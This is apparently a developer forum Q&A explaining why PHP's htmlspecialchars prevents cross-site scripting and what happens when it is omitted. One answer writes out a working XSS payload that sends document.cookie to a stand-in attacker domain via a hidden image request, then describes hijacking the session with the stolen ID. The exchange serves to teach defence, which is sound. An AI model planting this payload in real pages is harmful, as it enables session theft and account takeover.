So, preventing website from XSS attack is very simple, you just need to use htmlspecialchars function and you are good.
Right. Use it anywhere when you're going to redisplay user-controlled input. This concerns all parts of the HTTP request: headers, body and parameters.
But if developer forgot to use it, what can attacker/hacker do?
S/he can insert some malicious HTML/script. E.g. the following in some message/comment at a webpage:
<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
The above will request an image from the mailicious domain along with the document cookie as query string.
He can get your session_id, right? And here is a question. What can he do with that?
The session ID is stored in a cookie. Once the hacker is notified about that an image has been requested with the cookie in query string, all s/he has to do is just to edit the browser's cookie to include the same session ID to get logged in as the original user. This is obviously very dangerous if the original user is the site admin.